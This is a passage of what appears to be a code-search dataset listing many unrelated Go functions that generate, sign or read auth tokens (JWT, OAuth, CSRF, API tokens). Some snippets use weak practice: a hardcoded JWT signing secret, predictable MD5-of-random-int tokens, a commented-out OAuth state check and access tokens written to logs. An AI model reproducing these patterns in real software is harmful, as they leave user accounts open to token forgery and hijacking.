expJWTAccess.Format(time.UnixDate),\n\t}\n\n\treturn\n}", "func (t *Token) Generate() error {\n\tkey, err := t.passKeyFromByte(t.KeyContent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.AuthKey = key\n\n\tissuedAt := time.Now().Unix()\n\texpiredAt := time.Now().Add(time.Duration(1) * time.Hour).Unix()\n\tjwtToken := &jwt.Token{\n\t\tHeader: map[string]interface{}{\n\t\t\t\"alg\": \"ES256\",\n\t\t\t\"kid\": t.KeyID,\n\t\t\t\"typ\": \"JWT\",\n\t\t},\n\n\t\tClaims: jwt.MapClaims{\n\t\t\t\"iss\": t.Issuer,\n\t\t\t\"iat\": issuedAt,\n\t\t\t\"exp\": expiredAt,\n\t\t\t\"aud\": \"appstoreconnect-v1\",\n\t\t\t\"nonce\": uuid.New(),\n\t\t\t\"bid\": t.BundleID,\n\t\t},\n\t\tMethod: jwt.SigningMethodES256,\n\t}\n\n\tbearer, err := jwtToken.SignedString(t.AuthKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.ExpiredAt = expiredAt\n\tt.Bearer = bearer\n\n\treturn nil\n}", "func (s *Setup) GenerateToken(info *model.Auth) (string, error) {\n\tcfg, err := config.Load()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret := []byte(cfg.JWTSecret)\n\n\tvar claims model.AuthClaims\n\n\tclaims.ID = info.ID\n\tclaims.Name = info.Name\n\tclaims.Email = info.Email\n\tclaims.StandardClaims = jwt.StandardClaims{\n\t\tExpiresAt: time.Now().Add(time.Hour * 2).Unix(),\n\t\tIssuer: cfg.AppName,\n\t}\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\n\tsignedString, err := token.SignedString(secret)\n\tif err != nil {\n\t\treturn \"\", errors.New(errGeneratingToken)\n\t}\n\n\treturn signedString, nil\n}", "func (handler *AuthHandler) GenerateToken(w http.ResponseWriter, r *http.Request) {\n\ttokenString, err := GenerateJWT()\n\tif err != nil {\n\t\tfmt.Println(\"error occured while generating the token string\")\n\t}\n\n\tfmt.Fprintf(w, tokenString)\n}", "func (c ProwlClient) RequestToken() (*Tokens, error) {\n\tbody, err := makeHTTPRequestToURL(\n\t\t\"GET\",\n\t\tapiURL+\"/retrieve/token\",\n\t\tmap[string]string{\n\t\t\t\"providerkey\": c.ProviderKey,\n\t\t},\n\t\tnil,\n\t)\n\n\ttoken := tokenResponse{}\n\n\terr = xml.Unmarshal(body, &token)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &token.Retrieve, err\n}", "func CreateToken(w http.ResponseWriter, r *http.Request) {\n\tbytes, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tlog.Errorf(\"GetToken failed with error: %v\", err)\n\t}\n\tvar t map[string]string\n\n\terr = json.Unmarshal(bytes, &t)\n\tif err != nil {\n\t\tlog.Errorf(\"unmarshal failed with error: %v\", err)\n\t}\n\n\tsecurityCode := t[\"code\"]\n\taccessToken := t[\"accessToken\"]\n\n\tif securityCode != \"\" {\n\t\tlog.Debugf(\"CreateToken called with securityCode %s\", securityCode)\n\t\t//getToken\n\t\ttoken, err := server.CreateToken(securityCode)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"GetToken failed with error: %v\", err)\n\t\t\tReturnHTTPError(w, r, http.StatusInternalServerError, fmt.Sprintf(\"Error getting the token: %v\", err))\n\t\t} else {\n\t\t\tapi.GetApiContext(r).Write(&token)\n\t\t}\n\t} else if accessToken != \"\" {\n\t\tlog.Debugf(\"RefreshToken called with accessToken %s\", accessToken)\n\t\t//getToken\n\t\ttoken, err := server.RefreshToken(accessToken)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"GetToken failed with error: %v\", err)\n\t\t\tReturnHTTPError(w, r, http.StatusInternalServerError, fmt.Sprintf(\"Error getting the token: %v\", err))\n\t\t} else {\n\t\t\tapi.GetApiContext(r).Write(&token)\n\t\t}\n\t} else {\n\t\tReturnHTTPError(w, r, http.StatusBadRequest, \"Bad Request, Please check the request content\")\n\t}\n}", "func Token(g *gin.Context) {\n\tlog.Println(\"token\")\n\tclientIdStr, ok := g.GetQuery(\"client_id\")\n\tif !ok {\n\t\tg.JSON(400, \"error\")\n\t\treturn\n\t}\n\n\tclientId, err := strconv.Atoi(clientIdStr)\n\tif err != nil {\n\t\tg.JSON(400, \"error\")\n\t\treturn\n\t}\n\n\t// 需要验证 secret id\n\t// ...\n\n\tauthCode := g.Query(\"auth\")\n\tif store[clientId].AuthCode != authCode {\n\t\tg.JSON(400, \"error\")\n\t\treturn\n\t}\n\n\ttoken := \"this.\" + authCode + \".test\"\n\n\tg.JSON(200, token)\n}", "func (c *UsersController) GenerateToken(r *http.Request, args map[string]string, body interface{}) *ApiResponse {\n\tctx := r.Context()\n\tr.ParseForm()\n\n\t//TODO: fix validation on oauthStateString\n\t// - using the current validation, two user can authorize at the same time and failed on generating tokens\n\t//state := r.Form.Get(\"state\")\n\t//if state != oauthStateString {\n\t//\treturn Error(http.StatusInternalServerError, \"Invalid Oauth State\" + state + oauthStateString)\n\t//}\n\n\tcode := r.Form.Get(\"code\")\n\tif code == \"\" {\n\t\treturn Error(http.StatusBadRequest, \"Code not found\")\n\t}\n\n\ttoken, err := c.GitlabService.GenerateToken(ctx, code)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn Error(http.StatusInternalServerError, \"Code exchange failed\")\n\t}\n\n\t//Store generated token here\n\tuser, err := c.GitlabService.GetUserInfo(token.AccessToken)\n\tsavedUser, err := c.UsersService.Save(user)\n\tif savedUser == nil {\n\t\treturn Error(http.StatusInternalServerError, \"User is already present in the database\")\n\t}\n\tif err != nil {\n\t\treturn Error(http.StatusInternalServerError, err.Error())\n\t}\n\n\t//Build the user account\n\tuserAccount := &models.Account{\n\t\tUserId: savedUser.Id,\n\t\tAccessToken: token.AccessToken,\n\t\tAccountType: models.AccountTypes.Gitlab,\n\t\tTokenType: token.TokenType,\n\t\tRefreshToken: token.RefreshToken,\n\t}\n\n\t_, err = c.AccountService.Save(userAccount)\n\tif err != nil {\n\t\treturn Error(http.StatusInternalServerError, err.Error())\n\t}\n\n\treturn Ok(\"Authorized\")\n}", "func CreateToken(ctx *context.Context, resp http.ResponseWriter, req *http.Request) {\n\n\t// Get user from context\n\tuser := ctx.GetUser()\n\tif user == nil {\n\t\tctx.Unauthorized(\"missing user, please login first\")\n\t\treturn\n\t}\n\n\t// Read request body\n\tdefer func() { _ = req.Body.Close() }()\n\n\treq.Body = http.MaxBytesReader(resp, req.Body, 1048576)\n\tbody, err := ioutil.ReadAll(req.Body)\n\tif err != nil {\n\t\tctx.BadRequest(fmt.Sprintf(\"unable to read request body : %s\", err))\n\t\treturn\n\t}\n\n\t// Create token\n\ttoken := common.NewToken()\n\n\t// Deserialize json body\n\tif len(body) > 0 {\n\t\terr = json.Unmarshal(body, token)\n\t\tif err != nil {\n\t\t\tctx.BadRequest(fmt.Sprintf(\"unable to deserialize request body : %s\", err))\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Generate token uuid and set creation date\n\ttoken.Initialize()\n\ttoken.UserID = user.ID\n\n\t// Save token\n\terr = ctx.GetMetadataBackend().CreateToken(token)\n\tif err != nil {\n\t\tctx.InternalServerError(\"unable to create token : %s\", err)\n\t\treturn\n\t}\n\n\t// Print token in the json response.\n\tvar bytes []byte\n\tif bytes, err = utils.ToJson(token); err != nil {\n\t\tpanic(fmt.Errorf(\"unable to serialize json response : %s\", err))\n\t}\n\n\t_, _ = resp.Write(bytes)\n}", "func GenerateToken(uname string) string {\r\n return Md5String(fmt.Sprintf(\"%s:%d\", uname, rand.Intn(999999)))\r\n}", "func (op *AuthOperations) HandleJWTGenerate(w http.ResponseWriter, r *http.Request) {\n\tvar input jwt.General\n\t//fid := r.Header.Get(\"x-fid\")\n\tiid := r.Header.Get(\"x-iid\")\n\terr := json.NewDecoder(r.Body).Decode(&input)\n\tif err != nil {\n\t\tLOGGER.Warningf(\"Error while validating token body : %v\", err)\n\t\tjwt.ResponseError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tLOGGER.Debugf(\"%s, %s\", iid, input.JTI)\n\n\tvar token jwt.Info\n\tinfoCollection, ctx := op.session.GetSpecificCollection(AuthDBName, JWTInfoCollection)\n\terr = infoCollection.FindOne(ctx,\n\t\tbson.M{\n\t\t\t\"institution\": iid,\n\t\t\t\"jti\": input.JTI,\n\t\t}).Decode(&token)\n\tif err != nil {\n\t\tLOGGER.Errorf(\"Error getting JWT info from query: %s\", err.Error())\n\t\tjwt.ResponseError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tLOGGER.Debugf(\"%+v\", token)\n\n\t// if token exists\n\tif &token == nil {\n\t\tLOGGER.Errorf(\"Token info not found\")\n\t\tjwt.ResponseError(w, http.StatusInternalServerError, errors.New(\"token info not found\"))\n\t\treturn\n\t}\n\n\t// only generate if stage is currently approved\n\tif token.Stage != jwt.Approved {\n\t\tLOGGER.Errorf(\"Token is not currently approved\")\n\t\tjwt.ResponseError(w, http.StatusForbidden, errors.New(\"token is not currently approved\"))\n\t\treturn\n\t}\n\n\temail := r.Header.Get(\"email\")\n\t// check to make sure the authenticated user is the same user who requested the token\n\tif email == \"\" || email != token.CreatedBy {\n\t\tLOGGER.Errorf(\"User who requested the token must be the same user to generate the token\")\n\t\tjwt.ResponseError(w, http.StatusForbidden, errors.New(\"user who requested the token must be the same user to generate the token\"))\n\t\treturn\n\t}\n\n\t// ensure that the approved request includes a jti\n\tif token.JTI != input.JTI {\n\t\tLOGGER.Errorf(\"Unknown token id\")\n\t\tjwt.ResponseError(w, http.StatusForbidden, errors.New(\"unknown token id\"))\n\t\treturn\n\t}\n\n\t// update token info\n\ttoken.Stage = jwt.Ready\n\n\t// set default expiration time\n\t//initExp := \"15m\" //os.Getenv(\"initial_mins\") + \"m\"\n\t//if initExp == \"\" {\n\t//\tinitExp = \"1h\"\n\t//}\n\n\t// generate the token with payload and claims\n\t// initialize to expire in n1 hrs and not before n2 seconds from now\n\t//encodedToken := jwt.GenerateToken(payload, initExp, \"0s\")\n\ttokenSecret := stringutil.RandStringRunes(64, false)\n\n\tkeyID := primitive.NewObjectIDFromTimestamp(time.Now())\n\tjwtSecure := jwt.IJWTSecure{\n\t\tID: keyID,\n\t\tSecret: tokenSecret,\n\t\tJTI: input.JTI,\n\t\tNumber: 0,\n\t}\n\n\tsecureCollection, secureCtx := op.session.GetSpecificCollection(AuthDBName, JWTSecureCollection)\n\t_, err = secureCollection.InsertOne(secureCtx, jwtSecure)\n\tif err != nil {\n\t\tLOGGER.Errorf(\"Insert JWT secure failed: %+v\", err)\n\t\tjwt.ResponseError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\t// convert the interface type ID to string\n\tLOGGER.Debugf(\"New generate ID: %s\" , keyID.Hex())\n\n\tcount := 0\n\t// define payload\n\tpayload := jwt.CreateClaims(token, count, iid, keyID.Hex())\n\tpayload.ExpiresAt = time.Now().Add(time.Minute * 60).Unix()\n\tpayload.NotBefore = time.Now().Unix()\n\n\tencodedToken, _ := jwt.CreateAndSign(payload, tokenSecret, keyID.Hex())\n\n\t// save updated token info\n\tupdateResult, updateInfoErr := infoCollection.UpdateOne(ctx, bson.M{\"institution\": iid, \"jti\": input.JTI}, bson.M{\"$set\": &token})\n\tif updateInfoErr != nil || updateResult.MatchedCount < 1{\n\t\tLOGGER.Errorf(\"Error update token info: %+v\", updateInfoErr)\n\t\tjwt.ResponseError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tLOGGER.Debugf(\"Successfully generate JWT token\")\n\tjwt.ResponseSuccess(w, encodedToken)\n\treturn\n}", "func CreateToken(w http.ResponseWriter, r *http.Request) {\n\tbytes, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tlog.Errorf(\"GetToken failed with error: %v\", err)\n\t}\n\tvar jsonInput map[string]string\n\n\terr = json.Unmarshal(bytes, &jsonInput)\n\tif err != nil {\n\t\tlog.Errorf(\"unmarshal failed with error: %v\", err)\n\t}\n\n\tsecurityCode := jsonInput[\"code\"]\n\taccessToken := jsonInput[\"accessToken\"]\n\n\tif securityCode != \"\" {\n\t\tlog.Debugf(\"CreateToken called with securityCode\")\n\t\t//getToken\n\t\ttoken, status, err := server.CreateToken(jsonInput)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"GetToken failed with error: %v\", err)\n\t\t\tif status == 0 {\n\t\t\t\tstatus = http.StatusInternalServerError\n\t\t\t}\n\t\t\tReturnHTTPError(w, r, status, fmt.Sprintf(\"%v\", err))\n\t\t\treturn\n\t\t}\n\t\tapi.GetApiContext(r).Write(&token)\n\t} else if accessToken != \"\" {\n\t\tlog.Debugf(\"RefreshToken called with accessToken %s\", accessToken)\n\t\t//getToken\n\t\ttoken, status, err := server.RefreshToken(jsonInput)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"GetToken failed with error: %v\", err)\n\t\t\tif status == 0 {\n\t\t\t\tstatus = http.StatusInternalServerError\n\t\t\t}\n\t\t\tReturnHTTPError(w, r, status, fmt.Sprintf(\"%v\", err))\n\t\t\treturn\n\t\t}\n\t\tapi.GetApiContext(r).Write(&token)\n\t} else {\n\t\tReturnHTTPError(w, r, http.StatusBadRequest, \"Bad Request, Please check the request content\")\n\t\treturn\n\t}\n}", "func (t *TokenClaims) GenerateToken(key []byte) (string, error) {\n\treturn jwt.\n\t\tNewWithClaims(jwt.SigningMethodHS256, t).\n\t\tSignedString(key)\n}", "func GenerateToken(userID uint) (string, error) {\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"userID\": userID,\n\t})\n\n\ttokenStr, err := token.SignedString([]byte(secret))\n\n\treturn tokenStr, err\n}", "func (t *Jwt) GenerateToken(userID uint, expiredAt time.Duration) (accessToken string, err error) {\n\texp := time.Now().Add(expiredAt)\n\t// jwt token\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, jwt.MapClaims{\"exp\": exp.Unix(), \"userID\": userID})\n\t// sign the jwt token\n\taccessToken, err = token.SignedString(t.PrivateKey)\n\tif err != nil {\n\t\t// todo: log error\n\t}\n\treturn\n}", "func GenerateToken(jwtSecret string, claims InvoicesClaims) string {\n\thmacSampleSecret := []byte(jwtSecret)\n\n\ttype Claims struct {\n\t\tInvoicesClaims\n\t\tjwt.StandardClaims\n\t}\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, Claims{\n\t\tInvoicesClaims{\n\t\t\tGetInvoices: true,\n\t\t\tGetInvoice: true,\n\t\t\tCreateInvoice: true,\n\t\t},\n\t\tjwt.StandardClaims{\n\t\t\tExpiresAt: getExpiry(),\n\t\t},\n\t})\n\n\ttokenString, err := token.SignedString(hmacSampleSecret)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn tokenString\n}", "func GenerateToken(payload interface{}) string {\n\ttokenContent := jwt.MapClaims{\n\t\t\"payload\": payload,\n\t\t\"exp\": time.Now().Add(time.Second * TokenExpiredTime).Unix(),\n\t}\n\tjwtToken := jwt.NewWithClaims(jwt.GetSigningMethod(\"HS256\"), tokenContent)\n\ttoken, err := jwtToken.SignedString([]byte(\"TokenPassword\"))\n\tif err != nil {\n\t\tlogger.Error(\"Failed to generate token: \", err)\n\t\treturn \"\"\n\t}\n\n\treturn token\n}", "func GenerateToken() string {\n\tuuid := uuid.NewV4()\n\treturn hex.EncodeToString(uuid.Bytes())\n}", "func (g Generator) Generate() (string, error) {\n\tnow := time.Now()\n\n\tt := jwt.Token{\n\t\tMethod: jwt.SigningMethodES256,\n\t\tHeader: map[string]interface{}{\n\t\t\t\"alg\": jwt.SigningMethodES256.Alg(),\n\t\t\t\"kid\": g.KeyId,\n\t\t},\n\t\tClaims: jwt.MapClaims{\n\t\t\t\"iss\": g.TeamId,\n\t\t\t\"iat\": now.Unix(),\n\t\t\t\"exp\": now.Add(time.Second * time.Duration(g.TTL)).Unix(),\n\t\t},\n\t\tSignature: string(g.Secret),\n\t}\n\n\tkey, err := ParsePKCS8PrivateKeyFromPEM(g.Secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn t.SignedString(key)\n}", "func GenerateOAuthToken(isSignUp bool, timeZone string, typeVal string, host string) (string, error) {\n\t//compute the expiration\n\texpiration := time.Now().Unix() + JWTOAuthExpirationSec\n\n\t//create the claims\n\tclaims := &OAuthClaims{\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\tExpiresAt: expiration,\n\t\t},\n\t\tIsSignUp: isSignUp,\n\t\tTimeZone: timeZone,\n\t\tType: typeVal,\n\t\tHost: host,\n\t}\n\n\t//create the token\n\talgorithm := jwt.GetSigningMethod(JWTSigningAlgorithm)\n\ttoken := jwt.NewWithClaims(algorithm, claims)\n\n\t//create the signed string\n\ttokenStr, err := token.SignedString([]byte(GetJWTKey()))\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"sign oauth token\")\n\t}\n\treturn tokenStr, nil\n}", "func generateJwtToken(login, fgp string, api *UserAPIHandler) (string, error) {\n\tvar claims models.TokenClaims\n\n\t// set required claims\n\tclaims.ExpiresAt = time.Now().Add(1 * time.Hour).Unix()\n\tclaims.Fingerprint = fgp\n\tif IsUserAdmin(login, api.admins) {\n\t\tclaims.Role = roleAdmin\n\t} else {\n\t\tclaims.Role = roleUser\n\t}\n\n\t// generate and sign the token\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\treturn token.SignedString(api.jwtSecret)\n}", "func GenerateToken(key []byte, digest Digest) (string, string) {\n\tt := rand.RandomString(32)\n\treturn t, Sign(key, digest, []byte(t))\n}", "func GenerateActionsRunnerToken(ctx context.Context, scope string) (string, ResponseExtra) {\n\treqURL := setting.LocalURL + \"api/internal/actions/generate_actions_runner_token\"\n\n\treq := newInternalRequest(ctx, reqURL, \"POST\", GenerateTokenRequest{\n\t\tScope: scope,\n\t})\n\n\tresp, extra := requestJSONResp(req, &responseText{})\n\treturn resp.Text, extra\n}", "func GenToken() string {\n\tb := make([]byte, 16)\n\trand.Read(b)\n\treturn fmt.Sprintf(\"%x\", b)\n}", "func TokenFromRequest(r *http.Request) string {\n\tauth := r.Header.Get(\"Authorization\")\n\tmatches := bearerPattern.FindStringSubmatch(auth)\n\tif len(matches) == 0 {\n\t\treturn \"\"\n\t}\n\treturn matches[1]\n}", "func NewGenerateOTPRequest(server string, body GenerateOTPJSONRequestBody) (*http.Request, error) {\n\tvar bodyReader io.Reader\n\tbuf, err := json.Marshal(body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbodyReader = bytes.NewReader(buf)\n\treturn NewGenerateOTPRequestWithBody(server, \"application/json\", bodyReader)\n}", "func GenerateRequestID(ctx context.Context, o *RequestIDOptions) context.Context {\n\tvar id string\n\t{\n\t\tif o.useRequestID {\n\t\t\tif i := ctx.Value(RequestIDKey); i != nil {\n\t\t\t\tid = i.(string)\n\t\t\t\tif o.requestIDLimit > 0 && len(id) > o.requestIDLimit {\n\t\t\t\t\tid = id[:o.requestIDLimit]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif id == \"\" {\n\t\t\tid = shortID()\n\t\t}\n\t}\n\treturn context.WithValue(ctx, RequestIDKey, id)\n}", "func (user *User) GenerateToken() {\n\n\tvalue, _ := strconv.Atoi(os.Getenv(\"token_exp\"))\n\n\t//Create new JWT token for the newly registered account\n\ttk := &Token{UserID: uint(user.ID), ExpirationTime: time.Now().Add(time.Duration(value) * time.Second).Unix()}\n\n\ttoken := jwt.NewWithClaims(jwt.GetSigningMethod(\"HS256\"), tk)\n\ttokenString, _ := token.SignedString([]byte(os.Getenv(\"token_password\")))\n\tuser.Token = tokenString\n\n}", "func PrepareCreateToken(roundTripper *mhttp.MockRoundTripper, rootURL,\n\tuser, passwd, newTokenName, targetUser string) (response *http.Response) {\n\tformData := url.Values{}\n\tformData.Add(\"newTokenName\", newTokenName)\n\tpayload := strings.NewReader(formData.Encode())\n\n\trequest, _ := http.NewRequest(http.MethodPost, fmt.Sprintf(\"%s/user/%s/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken\", rootURL, targetUser), payload)\n\trequest.Header.Add(httpdownloader.ContentType, httpdownloader.ApplicationForm)\n\tresponse = PrepareCommonPost(request, `{\"status\":\"ok\"}`, roundTripper, user, passwd, rootURL)\n\treturn\n}", "func GenerateToken() string {\n\tb := make([]byte, 16) // 16-byte token\n\trand.Read(b)\n\treturn fmt.Sprintf(\"%x\", b)\n}", "func GenerateSign(requestData []byte, requestTime int64, secret string) (string, error) {\n\tvar rdata map[string]interface{}\n\terr := json.Unmarshal(requestData, &rdata)\n\tif err != nil {\n\t\treturn constant.EmptyStr, err\n\t}\n\n\tstr := serialize(rdata)\n\tserial := ext.StringSplice(secret, str.(string), secret, strconv.FormatInt(int64(requestTime), 10))\n\turlencodeSerial := url.QueryEscape(serial)\n\turlencodeBase64Serial := base64.StdEncoding.EncodeToString([]byte(urlencodeSerial))\n\tsign, err := crypto.Sha1(urlencodeBase64Serial)\n\tif err != nil {\n\t\treturn constant.EmptyStr, err\n\t}\n\tsign, err = crypto.MD5(sign)\n\tif err != nil {\n\t\treturn constant.EmptyStr, err\n\t}\n\n\treturn strings.ToUpper(sign), nil\n}", "func Token(req *http.Request) string {\n\tctx, ok := req.Context().Value(nosurfKey).(*csrfContext)\n\tif !ok {\n\t\treturn \"\"\n\t}\n\n\treturn ctx.token\n}", "func getToken(r *http.Request) (token string) {\n\ttoken, _, _ = r.BasicAuth()\n\treturn token\n}", "func (client *WebAppsClient) getFunctionsAdminTokenCreateRequest(ctx context.Context, resourceGroupName string, name string, options *WebAppsGetFunctionsAdminTokenOptions) (*policy.Request, error) {\n\turlPath := \"/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/functions/admin/token\"\n\tif resourceGroupName == \"\" {\n\t\treturn nil, errors.New(\"parameter resourceGroupName cannot be empty\")\n\t}\n\turlPath = strings.ReplaceAll(urlPath, \"{resourceGroupName}\", url.PathEscape(resourceGroupName))\n\tif name == \"\" {\n\t\treturn nil, errors.New(\"parameter name cannot be empty\")\n\t}\n\turlPath = strings.ReplaceAll(urlPath, \"{name}\", url.PathEscape(name))\n\tif client.subscriptionID == \"\" {\n\t\treturn nil, errors.New(\"parameter client.subscriptionID cannot be empty\")\n\t}\n\turlPath = strings.ReplaceAll(urlPath, \"{subscriptionId}\", url.PathEscape(client.subscriptionID))\n\treq, err := runtime.NewRequest(ctx, http.MethodGet, runtime.JoinPaths(client.ep, urlPath))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treqQP := req.Raw().URL.Query()\n\treqQP.Set(\"api-version\", \"2021-02-01\")\n\treq.Raw().URL.RawQuery = reqQP.Encode()\n\treq.Raw().Header.Set(\"Accept\", \"application/json\")\n\treturn req, nil\n}", "func (j *Jwt) GenerateToken() string {\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n\t\t\"exp\": json.Number(strconv.FormatInt(time.Now().AddDate(0, 0, 1).Unix(), 10)),\n\t\t\"iat\": json.Number(strconv.FormatInt(time.Now().Unix(), 10)),\n\t\t\"uid\": j.UID,\n\t\t\"name\": j.Name,\n\t\t\"username\": j.Username,\n\t})\n\n\ttokenStr, err := token.SignedString(JWTSecret)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn tokenStr\n}", "func (j *JWT) GenerateToken(user models.User) (string, error) {\n\texpirationTime := time.Now().Add(7 * 24 * time.Hour)\n\tclaims := &requset.CustomClaims{\n\t\tTelephone: user.Telephone,\n\t\tUserName: user.Username,\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\tExpiresAt: expirationTime.Unix(),\n\t\t\tIssuedAt: time.Now().Unix(),\n\t\t\tIssuer: \"y\",\n\t\t},\n\t}\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)\n\treturn token.SignedString(j.JwtSecret)\n}", "func ExtracToken(request * http.Request) (string) {\n keys := request.URL.Query()\n token := keys.Get(\"token\")\n \n if token != \"\" {\n\t return token\n }\n\n bearToken := request.Header.Get(\"Authorization\")\n //Authorization the token\n\n strArr := strings.Split(bearToken,\" \")\n if len(strArr) == 2 {\n\t return strArr[1]\n }\n return \"\"\n}", "func generateRequestId() uint64 {\n\tupdatedId := atomic.AddUint64(&internalAtomicIdCounter, 1)\n\treturn updatedId\n}", "func Generate() []byte {\n\tt := make([]byte, TOKEN_SIZE)\n\n\t//32-64 is pure random...\n\trand.Read(t[32:])\n\n\thash := createHash(t[32:])\n\n\t//\tlogx.D(\"hash:\", base64.URLEncoding.EncodeToString(hash))\n\n\t//copy hash protection to first 32bytes\n\tcopy(t[0:32], hash)\n\n\t//\tlogx.D(\"token:\", base64.URLEncoding.EncodeToString(t))\n\n\treturn t\n}", "func GenerateToken(email string) (string, error) {\n\terr := initRsaKeys()\n\tif err != nil {\n\t\treturn \"\", errors.New(\"Couldn't init rsa keys\")\n\t}\n\n\tvalidTime, _ := strconv.ParseInt(config.GoDotEnvVariable(\"TOKEN_VALID_DURATION\"), 10, 64)\n\t// Generate Expiration date\n\texpirationTime := time.Now().Add(time.Duration(validTime) * time.Minute)\n\n\tclaims := &Claims{\n\t\tEmail: email,\n\t\tStandardClaims: jwt.StandardClaims{\n\t\t\t// JWT takes unix timestamps\n\t\t\tExpiresAt: expirationTime.Unix(),\n\t\t},\n\t}\n\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodRS256, claims)\n\ttokenString, err := token.SignedString(rsa.PrivateKey)\n\n\tif err != nil {\n\t\tlog.Error(\"error while generating token: \", err)\n\t\treturn \"\", err\n\t}\n\n\treturn tokenString, nil\n}", "func GenerateToken() (string, error) {\n\tb := make([]byte, 8)\n\n\tif _, err := rand.Read(b); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%x\", b), nil\n}", "func (c *TokenController) Generate(ctx *app.GenerateTokenContext) error {\n\tvar tokens app.AuthTokenCollection\n\n\ttokenEndpoint, err := c.Configuration.GetKeycloakEndpointToken(ctx.RequestData)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"err\": err,\n\t\t}, \"unable to get Keycloak token endpoint URL\")\n\t\treturn jsonapi.JSONErrorResponse(ctx, errors.NewInternalError(ctx, errs.Wrap(err, \"unable to get Keycloak token endpoint URL\")))\n\t}\n\n\ttestuser, err := GenerateUserToken(ctx, tokenEndpoint, c.Configuration, c.Configuration.GetKeycloakTestUserName(), c.Configuration.GetKeycloakTestUserSecret())\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"err\": err,\n\t\t}, \"unable to get Generate User token\")\n\t\treturn jsonapi.JSONErrorResponse(ctx, errors.NewInternalError(ctx, errs.Wrap(err, \"unable to generate test token \")))\n\t}\n\t_, _, err = c.Auth.CreateOrUpdateIdentity(ctx, *testuser.Token.AccessToken)\n\ttokens = append(tokens, testuser)\n\n\ttestuser, err = GenerateUserToken(ctx, tokenEndpoint, c.Configuration, c.Configuration.GetKeycloakTestUser2Name(), c.Configuration.GetKeycloakTestUser2Secret())\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"err\": err,\n\t\t}, \"unable to generate test token\")\n\t\treturn jsonapi.JSONErrorResponse(ctx, errors.NewInternalError(ctx, errs.Wrap(err, \"unable to generate test token\")))\n\t}\n\t// Creates the testuser2 user and identity if they don't yet exist\n\t_, _, err = c.Auth.CreateOrUpdateIdentity(ctx, *testuser.Token.AccessToken)\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"err\": err,\n\t\t}, \"unable to persist user properly\")\n\t}\n\ttokens = append(tokens, testuser)\n\n\tctx.ResponseData.Header().Set(\"Cache-Control\", \"no-cache\")\n\treturn ctx.OK(tokens)\n}", "func (p *Pocket2RM) GetRequestToken() {\n\tvar err error\n\tp.RequestToken, err = GetRequestToken(p.ConsumerKey)\n\tif (err != nil) {\n\t\tpanic(err)\n\t}\n\n\tfmt.Printf(\"%+v\\n\", *p.RequestToken)\n}", "func (tok *Tokenizer) RequestToken(user string) bool {\n\ttok.lock.Lock();\n\tdefer tok.lock.Unlock();\n\tif(tok.availableTokens > 0) {\n\t\tfmt.Println(\"Assigning a token for user : \" + user);\n\t\ttok.availableTokens--;\n\t\ttok.currentUsers[user] = true;\n\t\treturn true;\n\t} \n\tfmt.Println(\"No available tokens! Denying request for user \" + user);\n\treturn false;\n}", "func formValidationToken(req *http.Request) string {\n\tidx := strings.LastIndex(req.RemoteAddr, \":\")\n\tif idx == -1 {\n\t\tidx = len(req.RemoteAddr)\n\t}\n\tip := req.RemoteAddr[0:idx]\n\ttoHash := fmt.Sprintf(\"%s %s %s\", req.Header.Get(\"User-Agent\"), ip, config.OauthConfig.ClientSecret)\n\thasher := sha256.New()\n\thasher.Write([]byte(toHash))\n\treturn base64.URLEncoding.EncodeToString(hasher.Sum(nil))\n}", "func getToken(r *http.Request) string {\n\treturn r.Header.Get(\"Authorization\")\n}", "func (p *GenerateAppTokenRequest) Check() error {\n\tif p.Username == \"\" {\n\t\treturn trace.BadParameter(\"username missing\")\n\t}\n\tif p.Expires.IsZero() {\n\t\treturn trace.BadParameter(\"expires missing\")\n\t}\n\tif p.URI == \"\" {\n\t\treturn trace.BadParameter(\"uri missing\")\n\t}\n\treturn nil\n}", "func (c *EvernoteClient) GetRequestToken(callBackURL string) (*oauth.RequestToken, string, error) {\n\treturn 